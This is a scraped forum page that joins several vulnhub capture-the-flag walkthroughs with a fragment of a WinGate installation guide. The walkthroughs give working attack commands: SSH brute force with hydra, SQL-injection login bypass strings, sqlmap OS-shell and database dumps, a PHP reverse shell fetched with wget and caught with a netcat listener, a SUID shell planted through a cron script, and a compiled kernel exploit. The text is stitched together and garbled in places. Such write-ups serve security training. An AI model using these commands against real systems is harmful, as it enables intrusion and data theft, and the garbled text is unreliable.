| 0 | 0 | ||
[To see content please register here]
Penetration Methodology
- Network Scanning (Nmap, netdiscover)
- Anonymous FTP login
- Abusing web browser
- Brute-force attack (hydra)
- SSH login
- Privilege Escalation
- Get root access
- Capture the flag
Start with the netdiscover command to identify target IP in the local network, in my network 192.168.1.102 is my target IP, you will get yours.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-X2HIyYSXZf4/W0iC12nRxpI/AAAAAAAAX38/ZvUOZeiqLMoXBwYr-ga6MtM86dYJd4aLwCLcBGAs/s1600/1.png?w=687&ssl=1)
Further, let’s enumerate open and protocols information in the target’s network with help of nmap following command:
nmap –A 192.168.1.102
1
nmap –A 192.168.1.102
From its result, we found port 21 for FTP, 22 for SSH and 80 for HTTP are open. Moreover, FTP anonymous login is allowed.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-IZy_RmiwfgQ/W0iC3BuyQDI/AAAAAAAAX5M/4jUzo3bKX5IczrTzsHbPRVPZFRTubgx9QCEwYBhgL/s1600/2.png?w=687&ssl=1)
So we explore target IP in the web browser and welcomed by the following image.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-nM-Pj0S6Sv4/W0iC3VQczzI/AAAAAAAAX5A/T7kq3qdIV2EVzB2LBjfM8Sdn9vX7HDaowCEwYBhgL/s1600/3.png?w=687&ssl=1)
Since FTP anonymous login was allowed so we logged in as anonymous: anonymous and download a lol.pcap file
ftp 192.168.1.102
ls -al
get lol.pcap
1
2
3
ftp 192.168.1.102
ls -al
get lol.pcap
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-FLESLs-HYjY/W0iC3o2tBJI/AAAAAAAAX5I/vqUGwG5bhJoUdOcZaWz5y-Rmw2p9jtU9ACEwYBhgL/s1600/4.png?w=687&ssl=1)
When we opened the lol.pcap file it was a Wireshark TCP packet and when we have opened 1st TCP stream it put up following image as shown.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-rq_gH2k0y4U/W0iC37u1YOI/AAAAAAAAX5A/yFeO3iKZRjIlUSz7JYpG5WHsvCVxhuCbwCEwYBhgL/s1600/5.png?w=687&ssl=1)
While looking in TCP stream 2, I notice something suspicious “sup3rs3cr3tdirlol” it could any possible web directory. So let’s step up for further approach and figure out what this sup3rs3cr3tdirlol indicates.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-tXccOB3pQkE/W0iC4OgdURI/AAAAAAAAX5I/QCW14IfLGUUCytrG0sO2FPoNKKp7_piGACEwYBhgL/s1600/6.png?w=687&ssl=1)
So when I explore
[To see content please register here]
in the web browser, it put up following web page where we found a file roflmao and decide to download it.![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Fjm5xKDX4_Q/W0iC4Hd-OqI/AAAAAAAAX5E/VIWATqKBOywOAJnPYzw8O2gLk_lUkCmfQCEwYBhgL/s1600/7.png?w=687&ssl=1)
Then with help of “string” a tool in Kali Linux, we explored the file roflmao and got a message ‘Find the address 0x0856BF to proceed’
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-3W9kmbkcQYE/W0iC4moyiYI/AAAAAAAAX5E/zls06hPa8-wLkpmz9ri9YOZzXhpcs-5nACEwYBhgL/s1600/8.png?w=687&ssl=1)
Then again I explored /0x0856BF in the web browser considering a possible web directory and indeed it gives two sub-directories as shown in the below image.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-0aDVEB4gSt0/W0iC4-cpjJI/AAAAAAAAX5M/3pfM_kjV3rw0hSrxHsVecSRhGxWug6MTQCEwYBhgL/s1600/9.png?w=687&ssl=1)
I opened both sub-directories and /good-luck looks interesting to me as it called a lol.txt file which contains a wordlist and might be this could be useful in conducting the brute force attack against ssh login. Also, the folder /this_folder_contains_the_password gave hint “Pass.txt” could be a possible password.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-MjyIFymc7pI/W0iC12mNNXI/AAAAAAAAX44/UeXiGIfallECdIG_fJRzwzg2qxk7qY3GACEwYBhgL/s1600/10.png?w=687&ssl=1)
Then we copied lol.txt wordlist into a text file and saved as dict.txt for username (remove 5th line while pasting the content of lol.txt into dict.txt). Since we have username dictionary file and also well aware from password let’s lunch brute-force attack for ssh login and for this you can use the following command.
hydra -L /root/Desktop/dict.txt -p Pass.txt 192.168.1.102 ssh
1
hydra -L /root/Desktop/dict.txt -p Pass.txt 192.168.1.102 ssh
OOOooooh Great!! Here is our possible ssh login credential overflow
ass.txt![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-c-8ouauL1g0/W0iC1zEF01I/AAAAAAAAX5I/Ul2uI9D20Wkifs43OT7Hp6xhD67T0XMagCEwYBhgL/s1600/11.png?w=687&ssl=1)
With help of above-extracted credential, we have made successful SSH login and spawned tty shell victim’s machine. Now let’s finished task quickly and for that, we need to escalated root privileges…………….
ssh [email protected]
find / -writable 2<dev/null
1
2
ssh [email protected]
find / -writable 2<dev/null
Then we have enumerated all writeable file with help of above command.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-PHEiolCNiNs/W0iC2cgrbYI/AAAAAAAAX5M/fxOWAHfkG5M8xLjsGHPx4H1MA2NxGWapwCEwYBhgL/s1600/12.png?w=687&ssl=1)
We found a python file cleaner.py inside /lib/log and it is a small program. So here the following script was added by admin to clean up all junk file from inside /tmp and these type of files depends upon specific time interval for executions.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-S_WBdPdR_yA/W0iC2v0yHZI/AAAAAAAAX5A/eKgpI7iOh3UnRTkzeZjTUSCE-gRMmkyigCEwYBhgL/s1600/13.png?w=687&ssl=1)
There so many methods to gain root access as in this method we copied /bin/sh inside /tmp and enabled SUID for /tmp/sh. It is quite simple, first, open the file through some editor for example nano sanitizer.py and replace“rm -r /tmp/*” from the following line as given below:
os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')
1
2
os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-7XDrXRrhTyQ/W0iC2z3Z6zI/AAAAAAAAX44/M1dSRDwvYbQl6KFyER7QO67w8Sn4UdPfQCEwYBhgL/s1600/14.png?w=687&ssl=1)
After some time it will create a sh file inside /tmp directory having SUID permission and when you will run it you will give root access.
cd /tmp
ls
./sh
cd /root
ls
cat proof.txt
1
2
3
4
5
6
cd /tmp
ls
./sh
cd /root
ls
cat proof.txt
HURRAYYYYYYY!!! We hit the Goal……………………………….
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-M7e_f7HHXgI/W0iC3HWgRoI/AAAAAAAAX48/NxWwrYZI_nsNRbtrUxqKvKQ6rmlMuVOpgCEwYBhgL/s1600/15.png?w=687&ssl=1)
Hello friends! Today we are going to solve a very simple and easy CTF challenge of the vulnhub. This is the second realistic hackademic challenge (root this box) by mr.pr0n. Download the target it from
[To see content please register here]
.Penetrating Methodologies
- Network Scanning (Nmap, netdiscover)
- SQL-Injection on Login Form
- Decrypting Hint to Get ports for port knocking
- Port Knocking using NMAP
- SQL-Injection using Sqlmap on URL
- Upload and execute a Reverse shell
- Reverse connection (netcat)
- Exploiting target (exploit 15285)
- Get Root access and capture the flag.
Start off with finding the target using:
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Vr9f7Nqs1oo/W7ua_N7Rj2I/AAAAAAAAamI/QSq0_xjzQbkPsfSReqjkKytVPjHeNdQogCLcBGAs/s1600/1.png?w=687&ssl=1)
Our target is 192.168.1.102. Now scan the target with nmap aggressive:
nmap -A 192.168.1.102
1
nmap -A 192.168.1.102
With the nmap scan, you can perceive the port 80 is open and port 666 is filtered.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-pe5cJRdaGx4/W7ubCVzpacI/AAAAAAAAam0/XpwkparfGagxEF44W9Un4HvYFrWuWgmJwCLcBGAs/s1600/2.png?w=687&ssl=1)
Further, when you will navigate to port 80 by exploring its IP in the browser, you will be welcomed by a login page as shown below.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-7xpdPG84nXQ/W7ubDK1K_SI/AAAAAAAAam8/Zy-cp_qlUgoZQ7V6nt3oTQ3zuUBO_XzQgCLcBGAs/s1600/3.png?w=687&ssl=1)
Look at this login form; we can try for SQL injection to bypass this page. So, we had tried the following malicious character inside the text field as shown in the below image.
Username: ' or 1=1--'
Password: ' or 1=1--'
1
2
Username: ' or 1=1--'
Password: ' or 1=1--'
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-4vghX5l3l5M/W7ubDbvr_vI/AAAAAAAAanA/fz07Q0q_JIsyUOaKd9dVmbQt6sJkLbiGACLcBGAs/s1600/4.png?w=687&ssl=1)
Superb!! We have bypassed the login form. But here, the author has left a message for which indicates that this is not the correct place to hunt the clue for any loophole.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-hdEeet7KFd0/W7ubD4SYK9I/AAAAAAAAanI/q63v-acTw-IEv6E_u2N9PLGPyRbQ8MKLgCLcBGAs/s1600/5.png?w=687&ssl=1)
So we looked into its source code and notice some encoded text here.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-MtCkpMIwv0Q/W7ubDyyl8bI/AAAAAAAAanE/ICMpQS6q3GIKddW9O62K7tY_BqNDfC2jwCLcBGAs/s1600/6.png?w=687&ssl=1)
Since the above text was URL encoded string and we have used burp suite to decode it. So now decode it into HEX and then HEX to Text.
“Knock Knock Knocking on heaven’s door”
Feels like it is some kind of port knocking and the 8-bit binary words could be possible some ports.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-gGjaZwbQVZ8/W7ubEZ5dODI/AAAAAAAAanM/orb34N2pnLw-yxEgm8TXINIScMama3P9wCLcBGAs/s1600/8.png?w=687&ssl=1)
Further, we copied the binary string so that we can decode it, to obtain readable text. As you can see it, here we have obtained a series of port number 1001:1101:1011:1001.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-rctcsjciYeE/W7ubFOlhimI/AAAAAAAAanQ/NcLXT9tH8t4yEQRbn85KA0iMfGyKH0yKgCLcBGAs/s1600/9.png?w=687&ssl=1)
We have used nmap to recursively hit the ports using the -r parameter.
nmap -r -p 1001,1101,1011,1001 192.168.1.102
1
nmap -r -p 1001,1101,1011,1001 192.168.1.102
After this when we scanned the target IP once again using nmap and found that the port 666 is open and also running Apache server.
nmap -sV 192.168.1.102
1
nmap -sV 192.168.1.102
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-tAKZzHJS7G8/W7ua_cQInRI/AAAAAAAAamM/7VK7HC4XtA8exKRzgohOWJ-B5bcWUzNkgCLcBGAs/s1600/10.png?w=687&ssl=1)
At this moment, we navigate to the newly opened port on the browser by exploring to the following URL
[To see content please register here]
1
[To see content please register here]
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-o-6qHPbSmhk/W7ua_YE-x4I/AAAAAAAAamQ/TlP_Wr2JDTAtvcHLXr43iZFQKkVXAtmrQCLcBGAs/s1600/11.png?w=687&ssl=1)
While browsing the website, we came across the “List of content items…” this URL was holding multiple parameters. I found this URL little bit suspicious against SQL injection, let’s ensure this through sqlmap.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-eQ8oNswdCRw/W7ubAEjI5OI/AAAAAAAAamU/fxkUa0Gie6YMbo8rC77uDiRXx-qPgWn4QCLcBGAs/s1600/12.png?w=687&ssl=1)
To test the URL for SQL-Injection we will use sqlmap to enumerate the database name with help of the following command.
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" --dbs --batch
1
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" --dbs --batch
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-wnufhsWJThs/W7ubAViDzMI/AAAAAAAAamY/VKywFEYK5KsAsFzcaaLm91btfKgtwVTKACLcBGAs/s1600/13.png?w=687&ssl=1)
Yuppie!!! This VM is vulnerable to SQLi and we have successfully enumerated the possible database name “Joomla” through sqlmap, now let’s try to inject our payload with help of –os-shell option.
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" -D joomla --os-shell --batch
1
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" -D joomla --os-shell --batch
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-yxtl4pLp-XY/W7ubAtYoCbI/AAAAAAAAamc/l7jlxcq9J5E06zetTUj3J5S2OmcO32xTACLcBGAs/s1600/14.png?w=687&ssl=1)
Superb!! We have spawned the os-shell of the target machine.
Now we will use this os- shell to upload a php backdoor, here we used pentestmonkey’s php-reverse-shell.php which is saved inside /usr/share/webshells/php directory, change the listening IP address as your device and the port number as your choice and start a python server using the following command for transferring this file.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
And in the os-shell, we will use the wget to download the reverse shell.
wget
[To see content please register here]
1
wget
[To see content please register here]
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-UrsqO8PHqok/W7ubBGHzMWI/AAAAAAAAamg/BoZKheX2Bfwr4QMzBRmJkiTp4IaKpwvugCLcBGAs/s1600/15.png?w=687&ssl=1)
Since we have uploaded the malicious php inside the /var/www, therefore let’s navigate to the web browser and try to execute the revshell.php file but do not forget to start netcat listener.
nc -lvp 1234
1
nc -lvp 1234
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-KklbXJ8e6_k/W7ubBX9zT2I/AAAAAAAAamk/Y_F8P9AmYsAJwvFGv1YNbJPWyTudwUa2QCLcBGAs/s1600/16.png?w=687&ssl=1)
Boom!! We have compromised the target shell successfully, Here we have discovered the Linux kernel is version being 2.6.32, after searching not for long on the internet we found the “RDS kernel exploit for privilege escalation from user to root”.
So we downloaded the 15285.c from
[To see content please register here]
and move it to Desktop where our python server was already running.On the target machine, we first use the python one-liner to spawn proper tty shell
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Now we move to tmp folder cd /tmp to download the exploit on the target machine using wget command and compile the C file using gcc.
wget
[To see content please register here]
gcc 15285.c -o kernel1
2
wget
[To see content please register here]
gcc 15285.c -o kernelThen give the file executable permissions and now run the compiled exploit
chmod 777 kernel
./kernel
1
2
chmod 777 kernel
./kernel
and BOOM you got the root. Now go to root directory only to discover that there is a key.txt file
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-lGPfMMc4Hlk/W7ubBSFLnkI/AAAAAAAAamo/iI18BIMrA6swKq03aYRbVAJ8J2ZZ9H1cQCLcBGAs/s1600/17.png?w=687&ssl=1)
When we tried to read the file then it was found to be encoded into base 64.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-VE1jt-RiTM4/W7ubCR--c_I/AAAAAAAAamw/fmHpTvylqgAUAJE-ELrc7dggEtKjT-usQCLcBGAs/s1600/18.png?w=687&ssl=1)
With the help of the following command, we will try to decrypt the content of this file.
base64 -d Key.txt > key
1
base64 -d Key.txt > key
Now when we tried to open the file using file command it gave us the description of PNG image
file key
1
file key
To view it we copied it to /var/www only to download it and view the image.
cp key /var/www
1
cp key /var/www
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-IHO8FVuLoFg/W7ubCbV2YtI/AAAAAAAAams/XAuYvxrUzukX6On_hHMkkQ5Zqbxzo9wzQCLcBGAs/s1600/19.png?w=687&ssl=1)
Now download the file from the URL
[To see content please register here]
and open in your system to discover that it’s the root flag and you have successfully solved the CTF.![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-HDqLxd798UA/W7ubDBJV6XI/AAAAAAAAam4/3fvW0lgP8tMEL8QA55QsbtqawBuC8O4UACLcBGAs/s1600/20.png?w=687&ssl=1)
[To see content please register here]
. Once you have downloaded it,![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-wR9asjizr7E/V5YXCfb1DQI/AAAAAAAAM-k/VENR1CzkU1Q2tMIEn7hdMSTiMMmGVRelQCLcB/s1600/1.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-kgp9_RkByzw/V5YXEGQhv9I/AAAAAAAAM-0/0EBDDkFvG4gtliksU_PXPond6CtcngtlACLcB/s1600/2.png?w=687&ssl=1)
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-OQo5xCfpo3M/V5YXEaF4QDI/AAAAAAAAM-8/Tcn-z5UEFMQEV0CJcyWTY-b8ZZfhmhRzQCLcB/s1600/3.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-8DdJk-nauYo/V5YXFEVqMRI/AAAAAAAAM_A/wpZb9GzR5NElf72BXOh-sOy_ry0Kg649wCLcB/s1600/4.png?w=687&ssl=1)
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-FZH2UOd8lNg/V5YXFIgSOFI/AAAAAAAAM_E/1HT_IcECc1Agc2cY-MxG9RtKqTmPWvSMACLcB/s1600/5.png?w=687&ssl=1)
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-K42-yc61pe4/V5YXFgW0voI/AAAAAAAAM_I/obBd2rmrWjAupjVcHOi0Bpy6yiQ6EKrQQCLcB/s1600/6.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-TRKGWqX9Gt0/V5YXGXLksqI/AAAAAAAAM_M/ZkS_c8NFScUAabJbnf8j0i9Reg6yrWlogCLcB/s1600/7.png?w=687&ssl=1)
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-cCNqV9BjTvo/V5YXGy9oLMI/AAAAAAAAM_Q/RGR2ce8T20QJUtlxjd-3pHNfOGSpo6fQQCLcB/s1600/8.png?w=687&ssl=1)
Now, select the Wingate user database engine as your database and click on Next
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-17BquEgID6Y/V5YXHPLH5sI/AAAAAAAAM_U/p6JFiEG3VWwnW8AD8MtcP_dbnVbzKIKjQCLcB/s1600/9.png?w=687&ssl=1)
To complete WinGate installation just click on Finish
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-gOFMm9EQ7_0/V5YXCTKz79I/AAAAAAAAM-c/1_iXbZYnW8AwV_I209027jJS4F396kAMACLcB/s1600/10.png?w=687&ssl=1)
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-2Ii-_D8UkYU/V5YXCfghvYI/AAAAAAAAM-g/c49kCt4zO9Yrp27DdWxnshD7cyc3Rs22wCLcB/s1600/11.png?w=687&ssl=1)
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-erS4rBEj_LA/V5YXDL5evLI/AAAAAAAAM-s/clhwCrhjS1Mmh85kI7XHvLM9_qvxKlKZgCLcB/s1600/12.png?w=687&ssl=1)
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-KWSirgwm2zs/V5YXDHGm21I/AAAAAAAAM-o/KuxPKfeMNocUNPuXqCXaxiEX71dHN5n4QCLcB/s1600/13.png?w=687&ssl=1)
(I have given administrator as username and I have kept password blank)
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-vFG4zVl-rGU/V5YXDdfBqtI/AAAAAAAAM-w/bccIUM0Y8PwaQMLpxNCNk5_y40bPXb7ywCLcB/s1600/14.png?w=687&ssl=1)
Once you have given username and password click on OK. And so, the welcome panel of WinGate will open
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-T2qrO43zGMY/V5YXEH5dBEI/AAAAAAAAM-4/zcEdRCG3WWkiJE2oWNqyFGHbKR3YItZnwCLcB/s1600/15.png?w=687&ssl=1)
You can now start working with Wingate.
To learn how to set up a proxy server using Wingate, do wait for part-2.
Hello friends! Today we are going to solve a very simple and easy CTF challenge of the vulnhub. This is the first realistic hackademic challenge (root this box) by mr.pr0n. Download the target it from
[To see content please register here]
and get root.Penetrating Methodologies
- Network Scanning (Nmap, netdiscover)
- WordPress (CMS) based SQLMAP Scanning
- Extract databases and WordPress user credentials
- Login into the WordPress admin console with specific user
- Upload and execute a Reverse shell
- Reverse connection (Metasploit)
- Exploiting target (exploit 15285)
- Get Root access and capture the flag.
Start off with finding the target using:
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-QOwsxE8YF6s/W0mc4kccr_I/AAAAAAAAYCg/Q2Gzp05h8MI-vLy4easSN2-m20is63bPACEwYBhgL/s1600/1.png?w=687&ssl=1)
Our target is 192.168.1.104. Now scan the target with nmap :
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
With the nmap scan, you can see the ports 80, 22 are open. Let’s target the port 80 first.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-MJyoUd0XLY8/W0mc557C6JI/AAAAAAAAYCk/-VkpICAX0esObDpVPBqEomytLy1yigfRACEwYBhgL/s1600/2.png?w=687&ssl=1)
Now we will browse the website with
[To see content please register here]
and a page will open as shown below in the image. Now click on the word target mentioned in “Please go to your target and try to get root”![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-dwFffQcEe2c/W0mc5y8CxyI/AAAAAAAAYCc/ePVcalXngUk4J7BSyvItVeMJCC_xDm7mgCEwYBhgL/s1600/3.png?w=687&ssl=1)
Upon clicking the target, below page will open
[To see content please register here]
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ZZTbswbcGA8/W0mc6Xe51SI/AAAAAAAAYCo/6u7--6d6BQQZyxtC7V-8cw8WC92qd4l6QCEwYBhgL/s1600/4.png?w=687&ssl=1)
Navigate by clicking on Uncategorized it will redirect to below URL
[To see content please register here]
Now let’s try to look for SQL injection by trying with a single quote (‘) and got the below error as shown in the image. With this, we also came to know that this is a WORDPRESS (CMS) website and it is vulnerable to SQL injection.
[To see content please register here]
'1
[To see content please register here]
'![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ocgG88eijL0/W0mc6YyClJI/AAAAAAAAYCo/AmYlZpKMu7Q7tlGSxR1k2SIVGbw-U1NvgCEwYBhgL/s1600/5.png?w=687&ssl=1)
Now using the above URL, we will enumerate the databases with SQLMAP command to get more details
sqlmap –u
[To see content please register here]
--dbs --batch1
sqlmap –u
[To see content please register here]
--dbs --batchNote: Instead of SQLMAP, we can also run wpscan (WordPress scan) which will yield the same results
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-SUQ3T1G_ZPc/W0mc6RWuVAI/AAAAAAAAYCs/eQeWQgaz9_UUSXWgRXLfQZDUvWHFHOfggCEwYBhgL/s1600/6.png?w=687&ssl=1)
Upon successful completion of the SQLMAP scan, we came to know that the following databases listed are available in the website, and “WordPress” could be desired database name.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-AxmwT54gxXE/W0mc7OABGlI/AAAAAAAAYCo/UL65wODK8XsKG70OAHEl_rAGDa0v71cagCEwYBhgL/s1600/7.png?w=687&ssl=1)
Extract the user information from the WordPress database, using SQLMAP
sqlmap –u
[To see content please register here]
-D wordpress --dump-all --batch1
sqlmap –u
[To see content please register here]
-D wordpress --dump-all --batch![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-S_yo5aZ1D80/W0mc7U-LwZI/AAAAAAAAYCs/A-OrYWS_YbMngHE9NcYIGvmQIgaxHn1PQCEwYBhgL/s1600/8.png?w=687&ssl=1)
SQLMAP will also automatically perform the password cracking of the users’ passwords
![[Image: 9.1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-TIF_S-rYQvA/W0mc7cFu32I/AAAAAAAAYCo/S75Mppdiq3E3W6ZVqU9No2mv8UldN6MFwCEwYBhgL/s1600/9.1.png?w=687&ssl=1)
Browsed the WordPress login page
[To see content please register here]
and logged in with above-mentioned usernames; however, got success with the user GeorgeMiller as observed that it has many options available in the admin panel as compared to other users’.It also has the privileges to add/modify the PHP script.Upon logging into the URL with the credentials, Navigate to Manage à Files and modify the hello.php file. Replace the text with the content from the PHP reverse shell file (php-reverse-shell.php) available in the Kali Linux server at the path /usr/share/webshells/php.
Once it is copied to the hello.php file, click on Update file
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-336YFVgEWQ0/W0mc8J6_99I/AAAAAAAAYCw/A50eC3-8fA8ypng_0sbcf-bk-nqXOZLGgCEwYBhgL/s1600/9.png?w=687&ssl=1)
Access the URL
[To see content please register here]
1
[To see content please register here]
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-MIhayOY7uIo/W0mc4oPp2vI/AAAAAAAAYCo/lHeyjY_y_k8N0j4nT6PHcqnT_0283H2vQCEwYBhgL/s1600/10.png?w=687&ssl=1)
Ran the Netcat listener along with browsing the website URL again, upon which we got the initial/limited shell. Hereupon examining the Linux Kernel version we found that this could be vulnerable.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-MmC3Q_T4oZk/W0mc4jHk-KI/AAAAAAAAYCo/X7QJJJaea7E7hZdVsiotJ7e2HfRT32k9gCEwYBhgL/s1600/11.png?w=687&ssl=1)
Searched across the internet to found the privilege escalation exploit that might apply to the kernel version 2.6.31 found (as shown in the image above). The exploit that worked was the RDS privilege escalation and can also be found on Kali with searchsploit.
[To see content please register here]
1
[To see content please register here]
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-KbaprkleQHs/W0mc5L6ihhI/AAAAAAAAYCg/EKnDJHNb4EMYdeF6KUtKFWiYz804skT3QCEwYBhgL/s1600/12.png?w=687&ssl=1)
Run the command searchsploit 15285 and copy the file (15285.c) to the Kali desktop. We will also run the default Python HTTP Server on the Kali Linux.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-JQEbsqMfFmY/W0mc5RjATrI/AAAAAAAAYCw/x-dbDSw2lEsgprrh5wdB5J6a8U8wkIlyQCEwYBhgL/s1600/13.png?w=687&ssl=1)
Now navigate to the tmp directory of victim machine and run the wget command to download the file from Kali. This will download the 15285.c file, into the /tmp directory of victim machine.
cd /tmp
wget
[To see content please register here]
ls1
2
3
cd /tmp
wget
[To see content please register here]
lsOnce the file is listed under /tmp directory, run the following commands
gcc 15285.c –o kernel
chmod 777 kernel
1
2
gcc 15285.c –o kernel
chmod 777 kernel
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-fOU0iGpeHC4/W0mc5c8Gi8I/AAAAAAAAYCw/5Npj76qa7o8SM8gjBvAY0BIjeZhALMcbACEwYBhgL/s1600/14.png?w=687&ssl=1)
Now run the kernel command as follows, and it will start to exploit the vulnerability
./kernel
1
./kernel
Once the execution of the kernel command stops, we will try to get into the root as follows and read the content of the directory
cd /root
ls
1
2
cd /root
ls
As you can see, now we are into the privileged shell and can also see key.txt file, open the same to get the credentials!
Hurrahhhhhh!!!! We hit the goal.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-5kPEAvFW8cY/W0mc5q8dVCI/AAAAAAAAYCw/vPV6WPbFpyMQceXBdjbOZCce-vp2ssrowCEwYBhgL/s1600/15.png?w=687&ssl=1)













